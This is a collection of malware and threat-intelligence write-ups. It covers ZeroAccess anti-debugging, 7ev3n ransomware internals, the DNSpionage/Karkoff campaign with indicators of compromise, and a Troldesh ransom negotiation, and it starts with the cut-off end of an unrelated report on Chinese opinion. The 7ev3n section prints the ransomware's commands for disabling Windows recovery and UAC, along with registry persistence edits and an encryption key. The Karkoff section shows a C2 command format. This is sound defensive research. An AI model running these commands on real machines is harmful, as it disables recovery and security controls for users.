reputation internationally. ## Outlook Strident pro-Russian, anti-Western voices in China are the most visible, driven in part by the positions of official party-state media early in Russia’s war on Ukraine and very likely influenced by real belief in Russian narratives that attempt to justify its actions in Ukraine. However, harder-to-hear but clearly present anti-war voices are also making themselves heard as best they can, despite significant censorship. Highly visible online public opinion will almost certainly change as (or if) China’s confused but ultimately pro-Russian stance, and its attendant domestic public messaging, on Russia’s war on Ukraine shifts. Our findings and the anti-war protests documented by others serve as a reminder that there is a diverse array of opinions in China (as in any country) despite the CCP’s propaganda apparatus.
# ZeroAccess uses Self-Debugging Joshua Cannell July 25, 2013 Debuggers—a tool traditionally used to find errors (called “bugs”) in code—are also used by security experts. In the field of malware analysis, debuggers are a vital tool used to reverse-engineer malware binaries, helping analysts to understand the purpose and functionality of malware when dynamic analysis isn’t enough. Because they’re such a valuable tool, sometimes malware authors try to prevent analysts from using them. By employing various techniques in the code (known as “anti-debugging”), malware can successfully thwart junior analysts. Recently I found an interesting anti-debugging technique I haven’t seen before. I discovered this technique while reversing a ZeroAccess Trojan. The technique employs various native Win32 APIs used for debugging a process. By using these APIs, the analyst cannot use their own debugger, since only one debugger can be attached to a process at a time. To connect to the debugger at the API level, the Trojan uses DbgUIConnectToDbg. This API along with others used to communicate with the Windows Debugger all seem to be undocumented by Microsoft. Next the Trojan creates a child process using the calling EXE (new-sirefef.exe). This was not surprising, as malware usually does this while unpacking. Allow me to explain. Typically, a parent process creates a suspended child process using the calling EXE. Afterward, the parent will de-obfuscate some code and then place it in the child. Whenever this is complete, the parent makes a call to execute the child (usually with ResumeThread), which is now completely different from the calling EXE. And thus, while you have two processes that appear identical, they are completely different when viewed internally. This sample doesn’t quite work this way. Under the creation flags parameter for the CreateProcess function, the CREATE_SUSPENDED flag was not being used, but instead the DEBUG_PROCESS flag. There was also another used, called CREATE_PRESERVE_CODE_AUTHZ_LEVEL. Now both the parent and child process are being debugged, which means we can’t attach an additional debugger to either. This complicates matters as the debugger is the primary tool we use to step through code. However, we can still observe what’s happening statically using our IDA dump. The parent process appears to handle debug event codes and performs an action for each event. After an event has been processed the Trojan continues debugging and receives another event using DbgUiContinue. When an EXCEPTION_DEBUG_EVENT code is received, the Trojan enters a function that decrypts a PE DLL file to the heap. The new PE is then placed into the memory space of the child process. The new PE file is actually the final unpacked version of the rootkit. We can dump the memory from here and load it into IDA to perform some static analysis. Looks like we have some websites in plain-text the Trojan is going to contact, possibly to locate the infected user (geoip_country_code). This is just another example of how malware authors attempt to prevent reverse-engineering of their code with anti-debugging. In this example, however, the ZeroAccess Trojan does not allow the analyst to use their own debugger by connecting to the Windows Debugger itself. All in all I think it’s a very interesting technique, and we’re sure to see more of it in the future. Joshua Cannell is a Malware Intelligence Analyst at Malwarebytes where he performs research and in-depth analysis on current malware threats. He has over 5 years of experience working with US defense intelligence agencies where he analyzed malware and developed defense strategies through reverse engineering techniques. His articles on the Unpacked blog feature the latest news in malware as well as full-length technical analysis. Follow him on Twitter @joshcannell.
# 7ev3n Ransomware Turning ‘HONE$T’ 7ev3n ransomware appeared at the beginning of this year. In addition to typical features of encrypting files, it was blocking access to the system using a fullscreen window and was difficult to remove. It also became famous for demanding an unrealistic price of 13 bitcoins. At that time, the product looked like it was in the early stage of development; however, the code showed potential to evolve into something smarter in the future. Indeed, the authors decided to actively work on making improvements. Currently, we are facing an outbreak of a new campaign with an improved version of this ransomware – this time named 7ev3n-HONE$T. Probably, the new name refers to the added feature of decrypting test files before the payment – as proof of the authors’ “honesty” in giving files back. In this post, we will take a look at its evolution. ## Analyzed Samples ### 7ev3n (Old Edition) Once executed, 7ev3n ransomware was installing itself, deleting the clicked copy, and silently encrypting files. The first symptom that something was wrong was a notification that User Account Control was going to be turned off, and the system needed to be restarted. The malware was not waiting for the next restart but executing it on its own. Shortly after another notification, the system was going to shut down. On the next reboot, the attack of that version of 7ev3n ransomware was announced by a big window, covering the entire desktop and blocking access to the system. It was difficult to bypass. In order to regain control over the system, the user needed to put some special effort (guidance has been provided, i.e., by BleepingComputer). The ransomware installed itself in `%LOCALAPPDATA%` – the main file is dropped under the name `system.exe`. In addition, it dropped one more executable: `uac.exe` – for User Account Control bypass, using a well-known trick with Cabinet files (Akagi) and two bat scripts: `del.bat` (responsible for deleting the original file) and `bcd.bat` – responsible for disabling backup. #### Content of bcd.bat: ``` bcdedit /set {current} bootems no bcdedit /set {current} advancedoptions off bcdedit /set {current} optionsedit off bcdedit /set {current} bootstatuspolicy IgnoreAllFailures bcdedit /set {current} recoveryenabled off del %0 ``` ### Encryption Process This ransomware is capable of encrypting files offline. Encrypted files had their names changed to `<number in directory>.R5A`. Patterns found in the encrypted files (R5A extension) look like two different algorithms have been used for its different chunks. ### 7ev3n – HONE$T The new edition comes with an improved interface. The most important difference is that the authors gave up the idea of blocking the full desktop of the infected computer. Although the window with ransom demand cannot be closed, it is still possible to access other programs. Moreover, the GUI itself has been enriched with features allowing for navigation and getting more information. Similarly to other ransomware, it provides a possibility to decrypt a few files for the test. In the new edition, the price of decryption is only 1 BTC (in some samples even 0.5) – that is a huge difference in comparison to 13 BTC from the previous campaign. The new ransom note offers various models of payment (i.e., possibility to decrypt half of the files for 60% of the original price) and a 20% discount in case of paying the full sum at once. As we can see, the authors learned to be more user-friendly and made a step towards “honesty”. Installation folder and dropped files are different than in the previous version. However, this feature depends rather on the particular campaign – in some of the new samples, the installation path is like in the previous edition. This time, the main executable is dropped either as `conlhost.exe` or as `system.exe` (depending on the sample). Also, in the same folder, the ransomware creates two files with lists of paths: - `files` – containing all the encrypted files - `testdecrypt` – containing files that have been chosen as test files that can be decrypted for free The dropped executable has some unique ID appended to its end. It is an array of 34 random characters, with ‘*’ used as a prefix/suffix – format: ‘*[\x00-\xff]{34}*’. This key is the same on every run for a particular machine. ### Persistence Persistence is based on a Run registry key. In addition to displaying the GUI with the ransom note, it also drops a TXT file with contact information, that can be used if – for any reason – the main window didn’t manage to pop up. The victim ID is the same after every execution on the same machine, so we can be sure that it is not random (it may be generated from some local identifiers, i.e., GUID). ### Encryption Process The new version also can encrypt files offline (no key needs to be downloaded from the server). Encrypted files had their names changed to `A<number in directory>.R5A` (or, for some of the new samples `<number in directory>.R5A` – just like in the old version). The new feature is that some randomly selected files are given a different extension: `.R4A`. Just like in the previous edition, patterns found in the encrypted files (R5A extension) look like two different algorithms have been used for its different chunks. Completely different algorithm has been deployed on the files with R4A extension (introduced newly in 7ev3n-HONE$T). We can see the patterns of the original file reflected in its encrypted content. Such an effect depicts that the file could have been encrypted by some block cipher – but it can also be a custom, XOR-based algorithm. Also in this version, every file with R5A extension is encrypted with a different key. ### Experiment For the purpose of experiments, a set of short TXT files was prepared. They have been encrypted as follows: - `1.txt` - `16A.txt` - `long_filename.txt` The file `16M.txt` has not been encrypted at all. We can see that each and every encrypted file starts with a character ‘M’. After that, there is encrypted content – its length is the same as the original. However, the same plaintext does not produce the same encrypted content (compare `1.txt` and `16A.txt`). The encrypted content is suffixed with a separator ‘**’ and then the encrypted filename is stored (its original length is preserved). The last character is always ‘\x0A’. Format of the encrypted file can be defined as: ``` M<encrypted content>**<encrypted filename>\x0A ``` Files with content length shorter or equal to 8 are excluded from the encryption. Similarly, excluded are files whose content begins with ‘M’. More details about why it happens will be found by analyzing the code. ### Network Communication Although the internet connection is not required in the process of encryption, 7ev3n is capable of communicating with C&C for the purpose of collecting information about the attacked machines. During beaconing, various information about the current infection is sent. As usual, the victim ID (the same that is mentioned in the ransom note), wallet ID (hardcoded in the binary), operating system, etc. ### Inside 7ev3n (The Old Version) The techniques used by 7ev3n are not very advanced, but yet it is worth taking a look. Analyzed files: - `system.exe` (a3dfd4a7f7c334cb48c35ca8cd431071) – main file - `uac.exe` (7a681d8650d2c28d18ac630c34b2014e) – UPX-packed payload The main file (`system.exe`) comes with UAC bypassing tools embedded (32 and 64 bit version – the one that is deployed is chosen appropriately for the system). Among strings, we can see a list of decimal numbers that need to be simply converted into ASCII. ### Registry Manipulation Adding a registry key indicating that files are encrypted: ``` REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f ``` Manipulating registry keys – i.e., in order to block the screen: ``` REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "" REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64 REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64 REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe" /f /reg:64 REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /f /reg:64 REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /f /reg:64 ``` ### Inside 7ev3n-HONE$T The first layer is a packing: a simple crypter/FUD with an icon added. Its role is deception: delivering malicious payload in a way unnoticed by antimalware tools, as well as making its analysis harder. After defeating the FUD layer, we get the first payload (32a56ca79f17fea432250ee704432dfc). Strings and imported functions are not obfuscated. We can find the path to the project inside the binary – it suggests that we are dealing with the variant without UAC bypass (in contrast to the previous version, that had it implemented). Inside this payload, we can find yet another, UPX packed executable. It is also not very well protected, and after unpacking it with the standard UPX application, we get another executable with all the strings and API calls visible. ### Execution Flow First execution is used just for the purpose of installation. When the sample is deployed, it makes its copy into the predefined installation folder (destination may vary for various samples). It drops a batch script that is supposed to delete the initial sample. The unique, hardware-based ID is written at the end of the executable that has been copied to the destination path. In the meanwhile, of the installation, malware sends the beacon to a hardcoded URL. Then, the new sample is deployed, and the initial sample terminates and gets deleted. The installed sample is supposed to run the second phase – that encrypts the files. The decision on which execution path should be deployed (installation, encryption, or GUI) is based on the environment check. ### Registry Manipulation Adding a registry key indicating that files are encrypted: ``` REG ADD "HKEY_CURRENT_USER\SOFTWARE" /v "crypted" /t REG_SZ /d "1" ``` Manipulating other registry keys – related to persistence, status of decrypting, etc.: ``` REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "allkeeper" /t REG_SZ /d "" /f REG ADD "HKEY_CURRENT_USER\SOFTWARE" /v "testdecrypt" /t REG_SZ /d 1 REG DELETE "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "allkeeper" /f REG ADD "HKEY_CURRENT_USER\SOFTWARE" /v "Decrypt50" /t REG_SZ /d 1 ``` ### What is Attacked? This ransomware encrypts local drives as well as mapped network shares. Encrypted extensions are hardcoded in the binary as UNICODE strings. ### Summary of All the File Extensions That Are Attacked ``` ai, arw, txt, doc, docm, docx, zip, rar, xlsx, xls, xlsb, xlsm, jpg, jpe, jpeg, bmp, eql, sql, adp, mdf, mdb, odb, odm, odp, ods, pds, pdt, pdf, dt, cf, cfu, mxl, epf, kdbx, erf, vrp, grs, geo, st, pff, mft, efd, 3dm, 3ds, rib, ma, max, lwo, lws, m3d, mb, obj, x3d, c4d, fbx, dgn, dwg, 4db, 4dl, 4mp, abs, adn, a3d, aft, ahd, alf, ask, awdb, azz, bdb, bib, bnd, bok, btr, bak, cdb, ckp, clkw, cma, crd, dad, daf, db3, dbk, dbt, dbv, dbx, dcb, dct, dcx, ddl, df1, dmo, dnc, dp1, dqy, dsk, dsn, dta, dtsx, dxl, eco, ecx, edb, emd, fcd, fic, fid, fil, fm5, fol, fp3, fp4, fp5, fp7, fpt, fzb, fzv, gdb, gwi, hdb, his, ib, idc, ihx, itdb, itw, jtx, kdb, lgc, maq, mdn, mdt, mrg, mud, mwb, s3m, myd, ndf, ns2, ns3, ns4, nsf, nv2, nyf, oce, oqy, ora, orx, owc, owg, oyx, p96, p97, pan, pdb, pdm, phm, pnz, pth, pwa, qpx, qry, qvd, rctd, rdb, rpd, rsd, sbf, sdb, sdf, spq, sqb, stp, str, tcx, tdt, te, tmd, trm, udb, usr, v12, vdb, vpd, wdb, wmdb, xdb, xld, xlgc, zdb, zdc, cdr, cdr3, ppt, pptx, abw, act, aim, ans, apt, asc, ase, aty, awp, awt, aww, bad, bbs, bdp, bdr, bean, bna, boc, btd, cnm, crwl, cyi, dca, dgs, diz, dne, docz, dot, dotm, dotx, dsv, dvi, dx, eio, eit, emlx, epp, err, etf, etx, euc, faq, fb2, fbl, fcf, fdf, fdr, fds, fdt, fdx, fdxt, fes, fft, flr, fodt, gtp, frt, fwdn, fxc, gdoc, gio, gpn, gsd, gthr, gv, hbk, hht, hs, htc, hwp, hz, idx, iil, ipf, jis, joe, jp1, jrtf, kes, klg, knt, kon, kwd, lbt, lis, lit, lnt, lp2, lrc, lst, ltr, ltx, lue, luf, lwp, lyt, lyx, man, map, mbox, me, mell, min, mnt, msg, mwp, nfo, njx, now, nzb, ocr, odo, odt, ofl, oft, ort, ott, p7s, pfs, pfx, pjt, prt, psw, pu, pvj, pvm, pwi, pwr, qdl, rad, rft, ris, rng, rpt, rst, rt, rtd, rtf, rtx, run, rzk, rzn, saf, sam, scc, scm, sct, scw, sdm, sdoc, sdw, sgm, sig, sla, sls, smf, sms, ssa, stw, sty, sub, sxg, sxw, tab, tdf, tex, text, thp, tlb, tm, tmv, tmx, tpc, tvj, u3d, u3i, unx, uof, uot, upd, utf8, utxt, vct, vnt, vw, wbk, wcf, wgz, wn, wp, wp4, wp5, wp6, wp7, wpa, wpd, wpl, wps, wpt, wpw, wri, wsc, wsd, wsh, wtx, xdl, xlf, xps, xwp, xy3, xyp, xyw, ybk, yml, zabw, zw, abm, afx, agif, agp, aic, albm, apd, apm, apng, aps, apx, art, asw, bay, bm2, bmx, brk, brn, brt, bss, bti, c4, cal, cals, can, cd5, cdc, cdg, cimg, cin, cit, colz, cpc, cpd, cpg, cps, cpx, c2, c2, rdds, dg, dib, djv, djvu, dm3, dmi, vue, dpx, wire, drz, dt2, dtw, dvl, ecw, eip, exr, fal, fax, fpos, fpx, gcdp, gfb, ggr, gif, gih, gim, spr, scad, gpd, gro, grob, hdp, hdr, hpi, i3d, icn, icon, iiq, info, ipx, iwi, j2c, j2k, jas, jb2, jbmp, jbr, jfif, jia, jng, jp2, jpg2, jps, jpx, tf, jwl, jxr, kdc, kdi, kdk, kic, kpg, lbm, ljp, mac, mbm, mef, mnr, mos, mpf, mpo, mrxs, myl, ncr, nct, nlm, nrw, oc3, oc4, oc5, oci, omf, oplc, af2, af3, asy, cdmm, cdmt, cdt, cgm, cmx, cnv, csy, cv5, cvg, cvi, cvs, cvx, cwt, cxf, dcs, ded, dhs, dpp, drw, dxb, dxf, egc, emf, ep, eps, epsf, fh10, fh11, fh3, fh4, fh5, fh6, fh7, fh8, fif, fig, fmv, ft10, ft11, ft7, ft8, ft9, ftn, fxg, gem, glox, hpg, hpgl, hpl, idea, igt, igx, imd, ink, lmk, mgcb, mgmt, mt9, mgmx, mmat, mat, otg, ovp, ovr, pcs, pfv, pl, plt, vrml, psid, rdl, scv, sk1, sk2, ssk, stn, svf, svgz, sxd, tlc, tne, ufr, vbr, vec, vml, vsd, vsdm, vsdx, stm, vstx, wpg, vsm, xar, yal, orf, ota, oti, ozb, ozj, ozt, pal, pano, pap, pbm, pc1, pc2, pc3, pcd, pdd, pe4, pef, pfi, pgf, pgm, pi1, pi2, pi3, pic, pict, pix, pjpg, pm, pmg, pni, pnm, pntg, pop, pp4, pp5, ppm, prw, psdx, pse, psp, ptg, ptx, pvr, pxr, pz3, pza, pzp, pzs, z3d, qmg, ras, rcu, rgb, rgf, ric, riff, rix, rle, rli, rpf, rri, rsb, rsr, rw2, rwl, s2mv, sci, sep, sfc, sfw, skm, sld, sob, spa, spe, sph, spj, spp, sr2, srw, ste, sumo, sva, save, t2b, tb0, tbn, tfc, tg4, thm, tjp, tm2, tn, tpi, ufo, uga, vda, vff, vpe, vst, wb1, wbc, wbd, wbm, wbmp, wbz, wdp, webp, pb, wpe, wvl, x3f, ysp, zif, cdr4, cdr6, ddoc, css, pptm, raw, cpt, pcx, pdn, png, psd, tga, tiff, tif, xpm, ps, sai, wmf, ani, fl, fb3, fli, mng, smil, svg, mobi, swf, html, csv, xhtm ``` ### How Does the Encryption Work? 7ev3n-HONE$T encrypts files in a loop, one by one. It completely changes their names – but at the same time, it stores the previous name (as we know, files that are decrypted have their names recovered). The executable comes with three hardcoded strings that are used in the process of encryption. Their exact role will be described further. Every encrypted file has its content prefixed with ‘M’. This character is also checked in order to distinguish if the file has been encrypted. If the ‘M’ was found as the first character of the buffer, the file will not be encrypted. Authors left a log in the code, leaving no doubt about their intentions, that this character is used as an indicator of the encrypted file. Of course, such a check does not give a precise detection, and if it happens that we have a file starting from ‘M’, it will not be encrypted. This ransomware produces encrypted files by two ways – they can be distinguished by different extensions: `.R4A` or `.R5A`. After deobfuscation, we were able to reconstruct both algorithms and notice that they are custom and not employing any strong cryptography. R4A algorithm turned out to be an XOR with a hardcoded key: ``` ANOASudgfjfirtj4k504iojm5io5nm59uh5vob5mho5p6gf2u43i5hojg4mf4i05j6g594cn9mjg6h ``` R5A algorithm is also XOR-based, but not that simple – it has several execution steps: 1. A hardcoded string is scrambled and expanded to a predefined length (in analyzed samples, it was 0x10C). The algorithm used for scrambling differs from sample to sample. 2. The scrambled key (0x10C byte long) is XOR-ed with the original file path. 3. The key created in the previous step is used to XOR file content. 4. The XORed content is divided into four parts, that are processed by two different XOR-based algorithms. First and third quarters are processed by algorithm I. Second and fourth – by algorithm II. (That’s why we have seen four ‘strips’ on the visualized content). ### Conclusion 7ev3n ransomware has been around for quite a while, but till now not many details about its internals have been revealed. It turned out to have pretty unexpected features. Although a lot has been said about the weaknesses of solutions that are based on custom encryption, there are still some ransomware authors going for it. That’s why it is worth not making any rushed decisions in paying the ransom. Sometimes the code is obfuscated, and finding out how it really works takes some time for analysts – but it doesn’t mean that the encryption is really unbreakable. Work on the full version of the decryptor is in progress. For now, you can see the proof-of-concept script (tested on this variant).
# DNSpionage Brings Out the Karkoff Warren Mercer and Paul Rascagneres authored this post. **Update 4/24:** The C2 section below now includes details around the XOR element of the C2 communication system. ## Executive Summary In November 2018, Cisco Talos discovered an attack campaign called DNSpionage, in which threat actors created a new remote administrative tool that supports HTTP and DNS communication with the attackers' command and control (C2). Since then, there have been several other public reports of additional DNSpionage attacks, and in January, the U.S. Department of Homeland Security issued an alert warning users about this threat activity. In addition to increased reports of threat activity, we have also discovered new evidence that the threat actors behind the DNSpionage campaign continue to change their tactics, likely in an attempt to improve the efficacy of their operations. In February, we discovered some changes to the actors' tactics, techniques, and procedures (TTPs), including the use of a new reconnaissance phase that selectively chooses which targets to infect with malware. In April 2019, we also discovered the actors using a new malware, which we are calling "Karkoff." This post will cover the aforementioned DNSpionage updates, the discovery of the Karkoff malware, and an analysis of the recent Oilrig malware toolset leak — and how it could be connected to these two attacks. ## DNSpionage Update ### New Infection Document, Same Macro In our previous post concerning DNSpionage, we showed that the malware author used malicious macros embedded in a Microsoft Word document. In the new sample from Lebanon identified at the end of February, the attacker used an Excel document with a similar macro. Instead of using the .oracleServices directory, which we had previously observed, the attacker uses a .msdonedrive directory and renames the malware "taskwin32.exe." The scheduled task was also renamed to "onedrive updater v10.12.5." ### Payload Overview This new sample is similar to the previous version disclosed in our previous post. The malware supports HTTP and DNS communication to the C2 server. The HTTP communication is hidden in the comments in the HTML code. This time, however, the C2 server mimics the GitHub platform instead of Wikipedia. While the DNS communication follows the same method we described in our previous article, the developer added some new features in this latest version and removed the debug mode. We also discovered that the actor added a reconnaissance phase, likely in response to the significant amount of interest in the campaign. This new phase ensures that the payload is being dropped on specific targets rather than indiscriminately downloaded on every machine. This new tactic indicates an improved level of actor sophistication. ### New Reconnaissance Phase On the initial execution, the malware drops a Windows batch file (a.bat) to execute a WMI command and obtain all the running processes on the victim's machine: ``` wmic process list ``` The malware also identifies the username and computer name of the infected system. Finally, it uses the NetWkstaGetInfo() API with the level 100 to retrieve additional info on the system. This level returns information about the workstation environment, including platform-specific information, the name of the domain and the local computer, and information concerning the operating system. This information is key to helping the malware select the victims only and attempts to avoid researchers or sandboxes. Again, it shows the actor's improved abilities, as they now fingerprint the victim. ### API and Strings Obfuscation In this latest version, the developer split some strings into two parts. The actor attempts to use this technique to "hide" API calls and internal strings. This would prevent static string analysis processes. Below is an example of an API call split. It is in reverse order starting with "rNameA," followed by "GetUse," and the offset is also named incorrectly "aRnamea" and "aGetuse" (GetUserNameA()). This approach is not particularly sophisticated compared to what we usually observe. However, it is enough to break a Yara rule based on these strings. ### Let's Check Your Anti-Virus The malware searches for two specific anti-virus platforms: Avira and Avast. If one of these security products is installed on the system and identified during the reconnaissance phase, a specific flag will be set, and some options from the configuration file will be ignored. ### DNSpionage Excel Maldoc This new sample of DNSpionage has some oddities which we believe might be the actor's attempt to taunt or poke fun at the research community. Upon opening the Excel document, users are greeted with the insult, "haha you are donkey [sic]." The broken English suggests the actor is unlikely a native English speaker. The domain used for the C2 is also bizarre. The previous version of DNSpionage attempted to use legitimate-looking domains in an attempt to remain undetected. However, this newer version uses the domain "coldfart[.]com," which would be easier to spot than other APT campaigns that generally try to blend in with traffic more suitable to enterprise environments. The domain was also hosted in the U.S., which is unusual for any espionage-style attack. ## Along Comes a Karkoff ### Payload Analysis In April, Cisco Talos identified an undocumented malware developed in .NET. On the analyzed samples, the malware author left two different internal names in plain text: "DropperBackdoor" and "Karkoff." We decided to use the second name as the malware's moniker, as it is less generic. The malware is lightweight compared to other malware due to its small size and allows remote code execution from the C2 server. There is no obfuscation, and the code can be easily disassembled. The malware is a Windows service named "MSExchangeClient." From an incident response point of view, it's interesting to note that the malware generates a log file: `C:\\Windows\\Temp\\MSEx_log.txt`. The executed commands are stored in this file (xored with 'M') with a timestamp. This log file can be easily used to create a timeline of the command execution, which can be extremely useful when responding to this type of threat. With this in mind, an organization compromised with this malware would have the opportunity to review the log file and identify the commands carried out against them. ### C2 Communication The C2 servers are hardcoded in the analyzed samples. The malware uses the domain or the IP address. Karkoff supports HTTP and HTTPS communications. Karkoff uses base64 encoding to initially obfuscate the C2 communications. This is then further obfuscated by carrying out a XOR function, with a XOR key 70 (decimal). This is derived from the “DropperBackdoor.constants” value “Constants.k__BackingField = 70;”. The JSON .NET library is embedded in the malware. This library is used to handle messages from the C2 server. The answer is first decoded (base64), and the commands match the following pattern: ``` [{"ID": "123", "Data": "filename.exe|base64PEContent", "Type": "101"}, {"ID": "124", "Data": "filename.exe arg1 arg2", "Type": "102"}] ``` The command type 101 means that the data will be a base64 encoded file. The file will be stored with the filename placed before the pipe (filename.exe in our example). The command type 102 is the command line to be executed stored in the data field. ## Links Between DNSpionage and Karkoff We identified infrastructure overlaps in the DNSpionage and the Karkoff cases. One of the Karkoff C2 servers is rimrun[.]com. Here is the history of the IPs behind this domain: - 108.62.141[.]247 -> from 12/19/18 to 4/13/19 - 209.141.38[.]71 -> on 12/26/18 - 107.161.23[.]204 -> on 12/26/18 - 192.161.187[.]200 -> on 12/26/18 The following IPs have links to our original DNSpionage blog post: - 107.161.23[.]204 was used by 0ffice36o[.]com on 9/21/18 - 209.141.38[.]71 was used by hr-wipro[.]com on 9/26/18 - 192.161.187[.]200 was used by 0ffice36o[.]com on 9/21/18 These dates also match the timeline of observed attacks during the DNSpionage campaign. Based on these overlaps in IP usage during the same time period, we have high confidence the same actor uses the Karkoff and DNSpionage samples. ## Alleged Oilrig Leak Links An alleged Oilrig leak appeared online on April 18. Information from the leak provides a weak link between Oilrig and the DNSpionage actors based on similar URL fields. While not definitive, it is an interesting data point to share with the research community. The leak contains a webmask_dnspionage repository. This repository contains scripts used to perform man-in-the-middle attacks, but nothing about the DNSpionage or Karkoff C2 panels. However, the screenshots showed a URL that attracted our attention. We identified the C2 panel as "Scarecrow," but we did not identify references to this panel in the leak. The victims in this screenshot are mainly from Lebanon, which is one of the areas targeted by DNSpionage and Karkoff. The URL contains the `/Th!swasP@NEl` directory. After our first publication, LastLine published a blog post explaining that the actor made some mistakes in their Django configuration. You can see the content of the PANEL_PATH variable of the DNSpionage C2 server: `/Th!sIsP@NeL`. The panel path of the leak and Django internal variables of the DNSpionage C2 server are very similar: `/Th!swasP@NEl` and `/Th!sIsP@NeL`. While this single panel path is not enough to draw firm conclusions, it is worth highlighting for the security research community as we all continue to investigate these events. ## Conclusion The threat actor's ongoing development of DNSpionage malware shows that the attacker continues to find new ways to avoid detection. The oddities we mentioned are certainly not normal, but the payload was clearly updated to attempt to remain more elusive. DNS tunneling is a popular method of exfiltration for some actors, and recent examples of DNSpionage show that we must ensure DNS is monitored as closely as an organization's normal proxy or weblogs. DNS is essentially the phonebook of the internet, and when it is tampered with, it becomes difficult for anyone to discern whether what they are seeing online is legitimate. The discovery of Karkoff also shows the actor is pivoting and is increasingly attempting to avoid detection while remaining very focused on the Middle Eastern region. Cisco Talos will continue to monitor for activity from this actor and ensure our protection and detection capabilities continue to prevent such advanced attacks on our customers. ## Coverage Additional ways our customers can detect and block this threat are listed below. - Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. - Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks. - Email Security can block malicious emails sent by threat actors as part of their campaign. - Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat. - AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. - Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. - Open Source SNORTⓇ Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. ## Indicators of Compromise (IOCs) The following IOCs are associated with this campaign: - **DNSpionage XLS document:** `2fa19292f353b4078a9bf398f8837d991e383c99e147727eaa6a03ce0259b3c5` (SHA256) - **DNSpionage sample:** `e398dac59f604d42362ffe8a2947d4351a652516ebfb25ddf0838dd2c8523be8` (SHA256) - **Karkoff samples:** `5b102bf4d997688268bab45336cead7cdf188eb0d6355764e53b4f62e1cdf30c` `6a251ed6a2c6a0a2be11f2a945ec68c814d27e2b6ef445f4b2c7a779620baa11` `b017b9fc2484ce0a5629ff1fed15bca9f62f942eafbb74da6a40f40337187b04` `cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5` - **C2 servers:** `coldfart[.]com` `rimrun[.]com` `kuternull[.]com`
# “Troldesh” – New Ransomware from Russia **Overview** “Troldesh”, aka Encoder.858 or Shade, is a Trojan and a crypto-ransomware variant created in Russia and spread all over the world. Troldesh is based on so-called encryptors that encrypt all of the user’s personal data and extort money to decrypt the files. Troldesh encrypts a user’s files with an “.xtbl” extension. Troldesh is spread initially via e-mail spam. A distinctive feature of the Troldesh attack is direct communication with the victim. While most Ransom-Trojan attackers try to hide themselves and avoid any direct contact, Troldesh’s creators provide their victims with an e-mail address. The attackers use this email correspondence to demand a ransom and dictate a payment method. In this report, you’ll learn about the infection procedure, the primary symptoms, and how I ended up getting a discount from the hackers. **The Infection Process** As mentioned previously, Troldesh is a Trojan that encrypts all the user’s data and demands a ransom in exchange for decryption. In my research, I used a malicious sample with this hash downloaded from VirusTotal: a8b27aa4fe7df15a677f9ab9b62764d557525059a9da5f4196f1f15049e2b433. After execution, Troldesh encrypts all of the user’s data and displays a message. Additionally, it renames the encrypted files using this format: [random characters]=.xbtl. For example, this is a screenshot of my machine’s “Pictures” folder with the encrypted files. Approximately 20 txt files were placed on my desktop. In other cases, a txt file was placed in each folder that had an encrypted file. Each txt file has the filename in the format README[number].txt and instructs the user to send a specified code to the e-mail address provided. To summarize, a Troldesh infection displays these characteristics: - A warning message on the user’s screen - Regular files replaced by the encrypted files with the .xbtl extension - README[number].txt files for information and contact data **How I Got a Discount From the Hackers** I was very interested to learn more about the ransom and tried to start a correspondence with the attackers. As required, I sent the specified code to the e-mail address provided, one that is registered on the most famous Russian domain. After several minutes, I received an answer with my next instructions. The extortionists said to send them one encrypted file to prove they could decrypt it. They demanded 250 euros to decrypt all of the files. Something about this transaction bothered me. Was their answer generated automatically or was there a real person on the other end? To find out, I decided to accept the hackers’ “generous” offer and send them an encrypted file for decryption. At the same time, I tried to start a conversation with them to see whether I could persuade them to give me the key for free, or at least get a decent discount. To my great surprise, after a minute, I got an answer from a real person who was open to discussion! Since the answer and all of the following conversation were in Russian, a translation is provided under each screenshot. “The guarantee is our word of honor. You can pay in rubles, 12000 RUB.” I checked the currency exchange rate and saw that I received a discount of approximately 15% (~35 euro). A decrypted version of the encrypted file I sent earlier was attached to the same e-mail. I continued asking about payment methods and if there was a specific time frame. “How can I pay? I don’t see any requisites. Are there any time frames?” “The payment should be done to the QIWI purse, requisites are changing frequently. As soon as you are ready to pay, write me, and I’ll send the actual requisites. 12000 RUB is a sum with discount! You have only 2 days to pay.” I took a break at this point and after almost a week wrote them again. I still had hopes of getting the key for free. “I ask you: please, return my data – this is almost all of my life for the last several years! I really don’t have much money to pay you! Be humane!!!” “The best I can do is to bargain.” “Please send me the key. Anyway, I can’t pay, neither with bargain, nor without it. Even one thousand rubles is a big sum for me. The case in which I’ll lose all of my personal and work(!) files will not make your life easier…” “7000 is a minimal cost for you. Decide for yourself. There is no way to get the key for free.” By the end of our correspondence, I managed to get a discount of 50%. Perhaps if I had continued bargaining, I could have gotten an even bigger discount.
